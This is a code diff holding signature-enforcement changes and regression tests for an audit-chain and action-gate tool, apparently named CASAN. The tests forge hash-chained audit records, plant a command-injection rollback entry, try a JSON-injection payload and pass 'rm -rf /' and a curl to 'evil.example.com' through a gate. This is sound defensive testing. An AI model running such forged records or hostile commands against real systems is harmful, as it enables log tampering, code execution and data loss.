# (dev default) keeps the previous unsigned-OK behaviour. Self-contained check
|
||||||
|
# (this script is copied into sandboxes by tests, so it must not source common.sh):
|
||||||
|
# CASAN_PROFILE=prod (SEC-17) enables all enforce flags; CASAN_VERIFY_STRICT=1 this one.
|
||||||
|
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||||
|
MISSING=""
|
||||||
|
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
|
||||||
|
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||||
|
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||||
|
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||||
|
echo "AUDIT_CHAIN_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
echo "AUDIT_CHAIN_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -56,5 +56,16 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
|
|||||||
fi
|
fi
|
||||||
echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
echo "TOOL_AUDIT_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
||||||
else
|
else
|
||||||
|
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL.
|
||||||
|
# Self-contained (this script is copied into sandboxes by tests — no common.sh).
|
||||||
|
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||||
|
MISSING=""
|
||||||
|
[[ -f "$HEAD_FILE" ]] || MISSING="$MISSING head-file"
|
||||||
|
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||||
|
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||||
|
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||||
|
echo "TOOL_AUDIT_UNSIGNED_STRICT_FAIL last_hash=$COMPUTED_HEAD missing=${MISSING# }" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
echo "TOOL_AUDIT_VALID anchor=unsigned last_hash=$COMPUTED_HEAD"
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -0,0 +1,150 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-01 (H-01) — "unsigned = FAIL" in enforced mode.
|
||||||
|
#
|
||||||
|
# Proves that verify-audit-chain / verify-tool-audit / telemetry-integrity /
|
||||||
|
# evidence-pack all treat a missing (or unverifiable) signature as a FAILURE when
|
||||||
|
# strict enforcement is on, while keeping the permissive dev default unchanged.
|
||||||
|
# Enforcement is triggered by either CASAN_VERIFY_STRICT=1 or CASAN_PROFILE=prod.
|
||||||
|
#
|
||||||
|
# Deterministic; no model/app/network. Hermetic: builds throwaway logs in a temp
|
||||||
|
# workspace; the telemetry case backs up + restores the real head artifacts.
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
|
||||||
|
# Back up telemetry head artifacts (fixed-path; the sign step mutates them).
|
||||||
|
L5_DIR="$PROJECT_ROOT/.specify/logs/level5"
|
||||||
|
TEL_BAK="$WORK/tel-bak"; mkdir -p "$TEL_BAK"
|
||||||
|
for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do
|
||||||
|
[[ -f "$L5_DIR/$f" ]] && cp -p "$L5_DIR/$f" "$TEL_BAK/$f"
|
||||||
|
done
|
||||||
|
restore_tel() {
|
||||||
|
for f in telemetry-manifest.json telemetry-head.txt telemetry-head.sig; do
|
||||||
|
if [[ -f "$TEL_BAK/$f" ]]; then cp -p "$TEL_BAK/$f" "$L5_DIR/$f"; else rm -f "$L5_DIR/$f"; fi
|
||||||
|
done
|
||||||
|
}
|
||||||
|
trap 'restore_tel; rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
|
||||||
|
# rc_of <env-assignments-or-empty> <cmd...> : run, print exit code, never abort.
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-01: unsigned = FAIL in enforced mode ====="
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 1) verify-audit-chain.sh — build a genuine unsigned chain (no head/sig files)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
AUD_DIR="$WORK/audit"; mkdir -p "$AUD_DIR"
|
||||||
|
python3 - "$AUD_DIR/audit.jsonl" <<'PY'
|
||||||
|
import hashlib, json, sys
|
||||||
|
path = sys.argv[1]
|
||||||
|
prev = ""
|
||||||
|
core = "|".join(["2026-07-06T00:00:00Z", "t1", "act", "a@x", "low", "ALLOW", "n/a", "", "ih", "oh", prev])
|
||||||
|
h = hashlib.sha256(core.encode()).hexdigest()
|
||||||
|
rec = {"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act","actor":"a@x",
|
||||||
|
"risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"",
|
||||||
|
"input_hash":"ih","output_hash":"oh","previous_record_hash":prev,"record_hash":h}
|
||||||
|
open(path,"w").write(json.dumps(rec)+"\n")
|
||||||
|
PY
|
||||||
|
|
||||||
|
RC="$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
|
||||||
|
[[ "$RC" -eq 0 ]] && pass "audit-chain: unsigned OK in permissive mode (rc=0)" \
|
||||||
|
|| fail "audit-chain: permissive mode should pass unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|
||||||
|
|| fail "audit-chain: strict flag did not fail unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
RC="$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "audit-chain: unsigned FAILS with CASAN_PROFILE=prod (rc=$RC)" \
|
||||||
|
|| fail "audit-chain: prod profile did not fail unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
# Attack: tamper a field, recompute record_hash so the chain is internally valid,
|
||||||
|
# leave no signature. Strict must STILL fail (recompute does not save the forger).
|
||||||
|
python3 - "$AUD_DIR/audit.jsonl" <<'PY'
|
||||||
|
import hashlib, json, sys
|
||||||
|
path = sys.argv[1]
|
||||||
|
rec = json.loads(open(path).read().strip())
|
||||||
|
rec["decision"] = "DENY_BYPASSED" # forge the verdict
|
||||||
|
prev = ""
|
||||||
|
core = "|".join([rec["timestamp"],rec["trace_id"],rec["action"],rec["actor"],rec["risk_level"],
|
||||||
|
rec["decision"],rec["approval_status"],rec["approver"],rec["input_hash"],
|
||||||
|
rec["output_hash"],prev])
|
||||||
|
rec["record_hash"] = hashlib.sha256(core.encode()).hexdigest() # recompute → chain valid
|
||||||
|
open(path,"w").write(json.dumps(rec)+"\n")
|
||||||
|
PY
|
||||||
|
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh" "$AUD_DIR/audit.jsonl")"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "audit-chain: tamper+recompute+no-sig still FAILS in strict (rc=$RC)" \
|
||||||
|
|| fail "audit-chain: recomputed forged chain passed strict (rc=$RC)"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 2) verify-tool-audit.sh — genuine unsigned tool-calls chain
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
TOOL_DIR="$WORK/tool"; mkdir -p "$TOOL_DIR"
|
||||||
|
python3 - "$TOOL_DIR/tool-calls.jsonl" <<'PY'
|
||||||
|
import hashlib, json, sys
|
||||||
|
path = sys.argv[1]
|
||||||
|
prev = ""
|
||||||
|
rec = {"timestamp":"2026-07-06T00:00:00Z","tool":"bash","actor":"a@x","previous_record_hash":prev}
|
||||||
|
core = json.dumps(rec, sort_keys=True, separators=(",", ":"))
|
||||||
|
rec["record_hash"] = hashlib.sha256((prev + "|" + core).encode()).hexdigest()
|
||||||
|
open(path,"w").write(json.dumps(rec)+"\n")
|
||||||
|
PY
|
||||||
|
|
||||||
|
RC="$(rc_of bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")"
|
||||||
|
[[ "$RC" -eq 0 ]] && pass "tool-audit: unsigned OK in permissive mode (rc=0)" \
|
||||||
|
|| fail "tool-audit: permissive mode should pass unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-tool-audit.sh" "$TOOL_DIR/tool-calls.jsonl")"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "tool-audit: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|
||||||
|
|| fail "tool-audit: strict flag did not fail unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 3) telemetry-integrity.sh — sign (unsigned, no key), then strict verify fails
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Force the keyless path so the head is written WITHOUT a signature.
|
||||||
|
env CASAN_AUDIT_PRIV="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" sign >/dev/null 2>&1
|
||||||
|
RC="$(rc_of env CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)"
|
||||||
|
[[ "$RC" -eq 0 ]] && pass "telemetry: unsigned OK in permissive mode (rc=0)" \
|
||||||
|
|| fail "telemetry: permissive mode should pass unsigned (rc=$RC)"
|
||||||
|
RC="$(rc_of env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_PUB="$WORK/nonexistent.pem" bash "$BASH_DIR/telemetry-integrity.sh" verify)"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "telemetry: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|
||||||
|
|| fail "telemetry: strict flag did not fail unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 4) evidence-pack.sh verify-pack — build a valid unsigned pack (no .sig)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
PACK_DIR="$WORK/pack"; mkdir -p "$PACK_DIR"
|
||||||
|
echo "hello evidence" > "$PACK_DIR/report.txt"
|
||||||
|
python3 - "$PACK_DIR" <<'PY'
|
||||||
|
import hashlib, json, os, sys
|
||||||
|
d = sys.argv[1]
|
||||||
|
files = {}
|
||||||
|
for fn in os.listdir(d):
|
||||||
|
p = os.path.join(d, fn)
|
||||||
|
if os.path.isfile(p):
|
||||||
|
files[fn] = hashlib.sha256(open(p,"rb").read()).hexdigest()
|
||||||
|
canonical = json.dumps(files, sort_keys=True, separators=(",", ":"))
|
||||||
|
head = hashlib.sha256(canonical.encode()).hexdigest()
|
||||||
|
json.dump({"files": files, "manifest_head": head}, open(os.path.join(d,"artifact-manifest.json"),"w"))
|
||||||
|
open(os.path.join(d,"manifest-head.txt"),"w").write(head)
|
||||||
|
PY
|
||||||
|
|
||||||
|
RC="$(rc_of bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")"
|
||||||
|
[[ "$RC" -eq 0 ]] && pass "evidence-pack: unsigned OK in permissive mode (rc=0)" \
|
||||||
|
|| fail "evidence-pack: permissive mode should pass unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
RC="$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/evidence-pack.sh" verify-pack testrun --dir "$PACK_DIR")"
|
||||||
|
[[ "$RC" -ne 0 ]] && pass "evidence-pack: unsigned FAILS with CASAN_VERIFY_STRICT=1 (rc=$RC)" \
|
||||||
|
|| fail "evidence-pack: strict flag did not fail unsigned (rc=$RC)"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-01 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-02 (H-02) — no local key auto-generation in enforced mode.
|
||||||
|
#
|
||||||
|
# The tamper-evidence of the audit chain rests on the head signature. If the
|
||||||
|
# signer auto-generates a private key next to the data (as dev convenience does),
|
||||||
|
# then any actor who can write the log can also mint a key and re-sign a forged
|
||||||
|
# head. In enforced mode the signer must NOT auto-generate — the key is provisioned
|
||||||
|
# out-of-band (KMS/HSM). This proves:
|
||||||
|
# * permissive mode still auto-generates a local key (dev convenience),
|
||||||
|
# * enforced mode does NOT create a key when none is provisioned, and the
|
||||||
|
# resulting unsigned head then FAILS strict verification (fail-closed).
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (temp key dir + backup/restore of audit + gov dirs).
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
|
||||||
|
BK="$WORK/bak"; mkdir -p "$BK"
|
||||||
|
cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true
|
||||||
|
cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/cg" 2>/dev/null || true
|
||||||
|
restore() {
|
||||||
|
rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true
|
||||||
|
rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/cg" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true
|
||||||
|
}
|
||||||
|
trap 'restore; rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-02: no local key auto-gen in enforced mode ====="
|
||||||
|
echo "benign input" > "$WORK/in.txt"
|
||||||
|
|
||||||
|
# 1) Permissive mode: a fresh key dir auto-generates a local key (dev convenience).
|
||||||
|
KD1="$WORK/keys-permissive"
|
||||||
|
env CASAN_AUDIT_KEY_DIR="$KD1" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out1.txt" agent_step >/dev/null 2>&1
|
||||||
|
[[ -f "$KD1/audit-private.pem" ]] \
|
||||||
|
&& pass "permissive mode auto-generates a local signing key" \
|
||||||
|
|| fail "permissive mode did not auto-generate a key (dev convenience broken)"
|
||||||
|
|
||||||
|
# 2) Enforced mode: a fresh key dir must NOT auto-generate a key.
|
||||||
|
KD2="$WORK/keys-enforced"
|
||||||
|
env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_KEY_DIR="$KD2" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out2.txt" agent_step >/dev/null 2>&1
|
||||||
|
[[ ! -f "$KD2/audit-private.pem" ]] \
|
||||||
|
&& pass "enforced mode does NOT auto-generate a local key (H-02 closed)" \
|
||||||
|
|| fail "enforced mode auto-generated a local key (attacker could re-sign forgery)"
|
||||||
|
|
||||||
|
# 3) The unsigned head produced in enforced mode fails strict verification.
|
||||||
|
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh")" -ne 0 ]] \
|
||||||
|
&& pass "unsigned head from enforced run FAILS strict verify (fail-closed)" \
|
||||||
|
|| fail "unsigned head passed strict verify"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-02 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-03 (H-03) — rollback-manager: no `bash -c`, structured argv only.
|
||||||
|
#
|
||||||
|
# The rollback `execute` path used to `bash -c "$rollback_command"` where the
|
||||||
|
# command was read from the unsigned transaction log — arbitrary code execution
|
||||||
|
# for anyone who can append a line. This proves:
|
||||||
|
# * a genuine checkpoint still restores the file (regression),
|
||||||
|
# * a forged free-form record with an RCE payload is REFUSED (not executed),
|
||||||
|
# * a forged structured record whose backup points outside the controlled
|
||||||
|
# backup dir is REFUSED (cannot copy an arbitrary source file).
|
||||||
|
#
|
||||||
|
# Deterministic; no model/app/network. Hermetic tx log via a temp workspace.
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
RM="$PROJECT_ROOT/.specify/scripts/bash/rollback-manager.sh"
|
||||||
|
TX_LOG="$PROJECT_ROOT/.specify/logs/level5/rollback-transactions.jsonl"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
|
||||||
|
# rollback-manager uses a fixed tx-log path; back it up and restore on exit.
|
||||||
|
[[ -f "$TX_LOG" ]] && cp -p "$TX_LOG" "$WORK/tx.bak"
|
||||||
|
restore_tx() { if [[ -f "$WORK/tx.bak" ]]; then cp -p "$WORK/tx.bak" "$TX_LOG"; else rm -f "$TX_LOG"; fi; }
|
||||||
|
trap 'restore_tx; rm -f "$WORK/PWNED"; rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-03: rollback-manager no bash -c (RCE) ====="
|
||||||
|
|
||||||
|
# 1) Regression: genuine checkpoint -> execute restores exact content.
|
||||||
|
TARGET="$WORK/plan.txt"; echo "ORIGINAL" > "$TARGET"
|
||||||
|
TX="$(bash "$RM" checkpoint "$TARGET" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')"
|
||||||
|
echo "OVERWRITTEN" > "$TARGET"
|
||||||
|
bash "$RM" execute "$TX" >/dev/null 2>&1
|
||||||
|
[[ "$(cat "$TARGET")" == "ORIGINAL" ]] \
|
||||||
|
&& pass "genuine checkpoint restores exact pre-overwrite content" \
|
||||||
|
|| fail "checkpoint did not restore (got: $(cat "$TARGET"))"
|
||||||
|
|
||||||
|
# 2) Fail-able: forged free-form record carrying an RCE payload must be REFUSED.
|
||||||
|
rm -f "$WORK/PWNED"
|
||||||
|
python3 - "$TX_LOG" "$WORK/PWNED" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
log, marker = sys.argv[1], sys.argv[2]
|
||||||
|
open(log, "a", encoding="utf-8").write(json.dumps({
|
||||||
|
"transaction_id": "evil-rce", "action": "checkpoint",
|
||||||
|
"rollback_command": f"touch {marker}"}) + "\n")
|
||||||
|
PY
|
||||||
|
RC="$(rc_of bash "$RM" execute evil-rce)"
|
||||||
|
if [[ "$RC" -ne 0 && ! -f "$WORK/PWNED" ]]; then
|
||||||
|
pass "forged free-form rollback_command REFUSED, no code executed (rc=$RC)"
|
||||||
|
else
|
||||||
|
fail "RCE not prevented (rc=$RC, marker exists=$([[ -f "$WORK/PWNED" ]] && echo yes || echo no))"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 3) Fail-able: forged restore_file whose backup is outside the controlled dir.
|
||||||
|
SECRET="$WORK/secret.txt"; echo "SECRET" > "$SECRET"
|
||||||
|
python3 - "$TX_LOG" "$SECRET" "$WORK/stolen.txt" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
log, backup, target = sys.argv[1], sys.argv[2], sys.argv[3]
|
||||||
|
open(log, "a", encoding="utf-8").write(json.dumps({
|
||||||
|
"transaction_id": "evil-src", "action": "checkpoint", "op": "restore_file",
|
||||||
|
"backup": backup, "target": target}) + "\n")
|
||||||
|
PY
|
||||||
|
RC="$(rc_of bash "$RM" execute evil-src)"
|
||||||
|
if [[ "$RC" -ne 0 && ! -f "$WORK/stolen.txt" ]]; then
|
||||||
|
pass "forged restore source outside backup dir REFUSED (rc=$RC)"
|
||||||
|
else
|
||||||
|
fail "arbitrary-source restore not prevented (rc=$RC)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-03 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-04 (H-05) — action-gate fail-closed.
|
||||||
|
#
|
||||||
|
# Previously, if the classifier python crashed / was killed / emitted nothing,
|
||||||
|
# the verdict string was empty and the final case fell through to ALLOW
|
||||||
|
# (fail-open). This proves the gate now DENIES (exit 2) on classifier failure or
|
||||||
|
# an unrecognized verdict, while ordinary verdicts still resolve correctly.
|
||||||
|
#
|
||||||
|
# Deterministic; no model/app/network.
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
GATE="$PROJECT_ROOT/.specify/scripts/bash/action-gate.sh"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
|
||||||
|
# action-gate appends to a fixed log path; back it up and restore on exit.
|
||||||
|
LOG="$PROJECT_ROOT/.specify/logs/level5/action-gate.jsonl"
|
||||||
|
[[ -f "$LOG" ]] && cp -p "$LOG" "$WORK/log.bak"
|
||||||
|
restore_log() { if [[ -f "$WORK/log.bak" ]]; then cp -p "$WORK/log.bak" "$LOG"; else rm -f "$LOG"; fi; }
|
||||||
|
trap 'restore_log; rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-04: action-gate fail-closed ====="
|
||||||
|
|
||||||
|
# Regression: ordinary verdicts still resolve.
|
||||||
|
[[ "$(rc_of bash "$GATE" --command "ls -la")" -eq 0 ]] \
|
||||||
|
&& pass "benign command ALLOWed (exit 0)" || fail "benign command not allowed"
|
||||||
|
|
||||||
|
[[ "$(rc_of bash "$GATE" --command "rm -rf /")" -eq 2 ]] \
|
||||||
|
&& pass "destructive command BLOCKed (exit 2)" || fail "destructive command not blocked"
|
||||||
|
|
||||||
|
[[ "$(rc_of bash "$GATE" --command "curl http://evil.example.com/x")" -eq 3 ]] \
|
||||||
|
&& pass "network egress REQUIRE_APPROVAL (exit 3)" || fail "egress not gated"
|
||||||
|
|
||||||
|
# SEC-04 fail-able: force the classifier to crash by shadowing `python` with a
|
||||||
|
# stub that exits non-zero and prints nothing. A benign command must now DENY
|
||||||
|
# (exit 2), not fall through to ALLOW.
|
||||||
|
STUB="$WORK/bin"; mkdir -p "$STUB"
|
||||||
|
printf '#!/bin/sh\nexit 1\n' > "$STUB/python"; chmod +x "$STUB/python"
|
||||||
|
RC="$(set +e; PATH="$STUB:$PATH" bash "$GATE" --command "ls -la" >/dev/null 2>&1; echo $?)"
|
||||||
|
[[ "$RC" -eq 2 ]] && pass "classifier crash → DENY (exit 2, fail-closed)" \
|
||||||
|
|| fail "classifier crash did not fail closed (rc=$RC — fail-open regression!)"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-04 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-05 (H-04 / M-05) — JSON-safe audit writers.
|
||||||
|
#
|
||||||
|
# governance-check / agent-metrics / incident used raw printf to build JSON audit
|
||||||
|
# records, so an actor/action/agent field containing `"` + newline could inject a
|
||||||
|
# SECOND forged record (e.g. a fabricated "approved" decision). This proves the
|
||||||
|
# serialized writers escape such payloads into exactly ONE record and keep the
|
||||||
|
# hash-chain intact.
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (backs up + restores the audit + governance dirs).
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
|
||||||
|
AUDIT="$PROJECT_ROOT/.specify/logs/audit/audit.jsonl"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
|
||||||
|
# Back up + restore the state governance-check mutates.
|
||||||
|
BK="$WORK/backup"; mkdir -p "$BK"
|
||||||
|
cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true
|
||||||
|
cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/central-governance" 2>/dev/null || true
|
||||||
|
restore_state() {
|
||||||
|
rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true
|
||||||
|
rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/central-governance" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true
|
||||||
|
}
|
||||||
|
trap 'restore_state; rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
export CASAN_AUDIT_KEY_DIR="$WORK/keys" # fresh key dir (avoid CI key-sync flake)
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-05: JSON-safe audit writers ====="
|
||||||
|
|
||||||
|
echo "hello world" > "$WORK/in.txt"
|
||||||
|
|
||||||
|
# A payload that, under raw printf, would break out of the action field and append
|
||||||
|
# a forged "approved" audit record on a new line.
|
||||||
|
PAYLOAD='evil","decision":"approved","approver":"ATTACKER
|
||||||
|
{"timestamp":"forged","action":"pwned","record_hash":"deadbeef"}'
|
||||||
|
|
||||||
|
BEFORE=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ')
|
||||||
|
set +e
|
||||||
|
bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out.txt" "$PAYLOAD" >/dev/null 2>&1
|
||||||
|
set -e 2>/dev/null || true
|
||||||
|
AFTER=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ')
|
||||||
|
ADDED=$((AFTER - BEFORE))
|
||||||
|
|
||||||
|
[[ "$ADDED" -eq 1 ]] \
|
||||||
|
&& pass "injection payload produced exactly ONE audit record (added=$ADDED)" \
|
||||||
|
|| fail "expected 1 record, got $ADDED (raw-printf injection regression!)"
|
||||||
|
|
||||||
|
# The stored action field must round-trip the FULL payload (escaped, not truncated).
|
||||||
|
ROUNDTRIP="$(python3 - "$AUDIT" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
last = [l for l in open(sys.argv[1], encoding="utf-8") if l.strip()][-1]
|
||||||
|
print(json.loads(last).get("action", ""))
|
||||||
|
PY
|
||||||
|
)"
|
||||||
|
[[ "$ROUNDTRIP" == "$PAYLOAD" ]] \
|
||||||
|
&& pass "action field round-trips the exact payload (escaped, not truncated)" \
|
||||||
|
|| fail "action field mangled — escaping wrong"
|
||||||
|
|
||||||
|
# No forged record: the chain must still verify, and no record may claim the
